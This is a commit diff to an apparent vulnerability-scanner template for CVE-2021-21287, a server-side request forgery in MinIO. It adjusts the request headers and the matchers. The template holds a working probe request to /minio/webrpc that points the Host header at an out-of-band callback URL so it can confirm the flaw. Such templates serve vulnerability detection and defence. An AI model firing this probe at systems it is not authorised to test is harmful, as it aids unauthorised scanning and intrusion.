misc update

cves/2021/CVE-2021-21287.yaml

@@ -17,16 +17,18 @@ requests:
         POST /minio/webrpc HTTP/1.1
         Host: {{interactsh-url}}
         Content-Type: application/json
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
+        Content-Length: 76
 
         {"id":1,"jsonrpc":"2.0","params":{"token":  "Test"},"method":"web.LoginSTS"}
 
     matchers-condition: and
     matchers:
-      - type: status
-        status:
-          - 200
-
       - type: word
         part: interactsh_protocol
         words:
           - "http" # Confirms the HTTP Interaction
+
+      - type: word
+        words:
+          - "We encountered an internal error"